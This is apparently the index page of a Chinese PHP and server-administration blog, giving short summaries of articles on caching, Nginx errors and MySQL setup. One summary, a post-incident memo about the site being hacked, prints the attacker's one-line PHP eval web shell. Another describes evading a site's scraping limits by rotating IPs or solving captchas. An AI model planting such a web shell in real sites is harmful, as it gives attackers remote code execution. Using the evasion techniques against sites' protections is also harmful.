centos6.7下使PHP支持Memcache

摘要:某一个服务需要大量的查询,为了提高性能打算用memcached实现。Memcached 是一个高性能的分布式内存对象缓存系统,用于动态Web应用以减轻数据库负载。它通过在内存中缓存数据和对象来减少读取数据库的次数,从而提高动态、数据库驱动网站的速度。Memcached基于一个存储键/值对的hashmap。其守护进程(daemon )

标签:php memcache centos

centos6.7下使PHP支持MongoDB

摘要:现在有一台服务器上运行着PHP5.4,因为系统架构的原因导致产生了大量的小文件缓存,造成磁盘读写慢,整个系统性能低,负载居高不下。为了解决这个问题决定用MongoDB代替文件缓存。MongoDB是一个介于关系数据库和非关系数据库之间的产品,是非关系数据库当中功能最丰富,最像关系数据库的。他支

标签:mongo centos php nosql

微信公众平台API的那些坑

摘要:这几天在开发一个微信公众平台的插件,虽然没有什么技术含量但是就是坑多,把遇到的坑记录一下:零 写个demo在哪儿测试呢?开始只能在WEB界面的在线调试工具(http://mp.weixin.qq.com/debug)中,人工填写参数来测试,没法真正的联调,而且用的接口许多不提供。后来在朋友的指点下找到了微信公众平台接口测试帐

标签:php 微信 api

Ubuntu升级后php-fpm的sock模式失效

摘要:昨天,ubuntu弹出一个框说有一些安全更新,我就让它更新了,但很快我就发现,我无法工作了,因为开发环境的php都无法解析了,一律报502错误。升级完成后,重启系统,故障依旧。我上网搜索了一下相关的资料:发现以前有一个人的php-fpm是port模式的,也是升级ubuntu后port模式失效,改成sock模式恢复正常。而我用

标签:ubuntu php nginx

Ubuntu下php找不到gzopen函数的BUG

摘要:gzopen是php中用于打开gz文件的函数,依赖于zlib这个扩展,zlib在Windows下的php中是默认安装的,但是在Linux下却不是,需要在编译时加上--with-zlib[=DIR]参数。如果在编译PHP的时候忘记加上这个参数,那编译出来的PHP中就没有gzopen这个方法。如果PHP中使用了gzopen函数,就会报错:“Fatal error: Call to u

标签:ubuntu php zlib gzopen

PHP的版本选择

摘要:PHP版本特别多,特别杂,想自己搭一套php的运行环境可不是一件容易的事,稍不留神就遇到一个坑,在某个问题上卡住半天。这篇文章尝试将PHP时的版本选择中可能遇到的坑逐一说明:Windows下首先看操作系统的版本,如果是Windows的在这里下载:http://windows.php.net/download/再看操作系统是32位还是64位?如果是

标签:php apache windows linux

使PHP通过SMTP发信支持SSL

摘要:越来越多的邮件服务商强制要求SMTP必须使用SSL安全连接,PHP通过SMTP发信也需要支持SSL才能正常发信。不支持SSL的话,使用php通过SMTP发信的现象是:长时间卡死,通过fgets得不到服务器的响应,超时之后返回个false。通过以下方法确认php环境是否支持SSL:在phpinfo()输出结果中,搜索“ssl”,如果看到如图这样

标签:php smtp ssl

通过PHP重启路由器以更换IP(原创)

摘要:在采集大批量数据时常常会触发对方服务器的“自我保护”,请求过于频繁就限制访问。这时需要停留很长一段时间(十几分钟到几十分钟不等)才能恢复访问,这样采集数据的速度就受到非常大的限制。解决方法有两个:1 通过图片识别绕过验证码机制,告诉服务器:我不是蜘蛛,我是人。不信你瞧,我能看懂验证码。2 更

标签:php ip 路由器 重启

MySQL通过localhost无法连接数据库的解决

摘要:问题:一台服务器的PHP程序通过localhost地址无法连接数据库,但是如果设置为127.0.0.1则可以正常连接,连接其他数据库服务器也正常。MySQL的权限设置正确,且通过mysql命令行客户端可以正常连接数据库。分析:这是典型的socket没有正确设置的情况。连接MySQL数据库有两种方式:TCP/IP(一般理解的端口的那种)

标签:php mysql

安装Apache(Nginx)+MySQL+PHP的正确顺序

摘要:安装Apache(Nginx)+MySQL+PHP的正确顺序是什么?相信刚接触LAMP安装配置的朋友心里都有这个疑问,正确的顺序应该是:LMPA(MySQL、PHP、Apache)。原因很简单:后面的软件(有可能)依赖前面的软件。MySQL在安装时会带一个MySQL的函数库,而这个函数库在安装PHP时会用到。PHP安装成功后会生成一个php-fpm进程

标签:nginx php linux mysql ftp

不重新编译PHP为PHP安装zlib扩展

摘要:一台服务器,编译PHP时未设置参数,导致缺少zlib扩展,无法执行解压缩,错误信息是:“Fatal error: Call to undefined function gzopen”。首先找到当初编译PHP时的目录,如果没了就找一个相同版本的解压缩,解压缩到php(假设)目录下,然后以root身份进入php/ext/zlib/目录下执行phpize,报错:“Cannot fin

标签:php zlib 编译 Linux

主域名和子域名COOKIE冲突的解决方案

摘要:之前有用户反馈在某些情况下,登录AKCMS提示成功,但是紧接着又要求登录,陷入死循环。之前调试过数次,看到的现象是写入COOKIE后,紧接着刷新页面读出来COOKIE就和刚才写的不同,一直都没找到原因。今天偶然的机会找到原因了,原来是COOKIE的一个缺陷:写入COOKIE的时候可以指定域名,但“读”的时候不可以。写

标签:PHP cookie

20120926网站被黑备忘录

摘要:问题的产生:akcms.com主站在2012年09月21日被黑客注入攻击,黑客做了以下的事情:1 修改了后台的密码2 污染了6个模版3 上传了一个一句话木马fa.php(<?eval($_POST[cmd]);?>),利用它又上传了更大的木马4 上传了3张奇怪的jpeg,这种行为不用看jpeg内容可以确定99%是木马,但仔细查看jpeg的内容未发现木

标签:黑客 php mysql

Nginx下用PHP自带的FastCGI进程管理器(FPM)

摘要:在编译PHP的时候增加一个选项:--enable-fpm./configure --enable-fpm --with-curl --with-gd --with-mysql --with-pdo-mysql --with-pdo-pgsql然后make、make install,顺利的话就完成安装了。安装完成后直接运行php-fpm,会提示:ERROR: failed to open configuration file '/usr/local/etc/php-fpm.conf'原来

标签:nginx php

不重新编译为PHP安装MySQL模块

摘要:一台VPS,之前测试时安装过PHP,但什么模块都没有安,现在要在它的基础上安装MySQL,过程中遇到一些麻烦事,最终解决了记录下来存档备忘。当初安装PHP的源码目录我没有删除,直接在此基础上安装:1 进入php/ext/mysql:cd php/ext/mysql2 执行phpize命令,这个命令一定得在php的模块目录下执行,在别的目录下执

标签:php vps mysql

PHP的fsockopen方式访问接口慢的原因与优化方案

摘要:在开发过程中常常遇到这样的需求,模拟浏览器访问某接口,并获取返回数据。我们比较常使用的方法是fsockopen与接口建立连接,然后发出指令,然后通过fgets接受返回值。但是我们发现,通过PHP模拟访问接口往往比浏览器访问同样的接口慢很多。这个问题困扰过我很久,今天终于找到原因了。我看网上很多朋友有同样的

标签:php 优化 apache

开发环境PHP不报错的解决方法

摘要:在进行PHP开发的时候,看不到报错信息是一件郁闷的事,不管怎么改,怎么调,总是一个空白。通过配置修改是这样的:首先找到php.ini的位置,如果系统中有多个php.ini不确定哪个是生效的,可以在php代码中加入<?phpphpinfo();?>这样就输出了当前php的配置信息,其中就包含php.ini的位置,如图所示:找到之后

标签:php 报错

用压力测试软件ab测试不同情况的网页的打开速度

摘要:用压力测试软件ab测试了一下几种不同情况下的网页打开速度,在不考虑网络的情况下(直接在服务器执行)得出如下结果,做到心中有数,备忘。 ab -n 100 -c 1 http://xxxxxxx -n代表总请求次数:100次请求 -c代表并发数:并发1(请求完一个再请求下一个) 按照我的理解,这样总时间除以总的请求次数就是每次请求的

标签:apache php

访问量大,Nginx频繁出现500错误的解决方案

摘要:有一台服务器某天因为促销活动导致访问量激增,频繁报“500 Internal Server Error”错误。我查了一下nginx的错误日志(apt-get方式安装的nginx的错误日志在/var/log/nginx/error.log),发现了大量的“[alert] xxxxx#0: accept() failed (24: Too many open files)” 我上网查了一下,说

标签:nginx php

PHP函数error_log的速度与可靠性

摘要:今天为多进程采集写了一个任务调度的程序,然后写了一个测试代码,取得任务之后用error_log写下进程号、任务ID就继续取下一个任务。 开了10个进程进行测试,每次100000条任务,实际上打出来的error_log总是不到100000,大概差10-30条。我尝试着在每两个任务之间sleep几毫秒,丢失的任务记录会少一些,但是也会丢

标签:php error_log 锁定 并发 调度
分页:« 12 »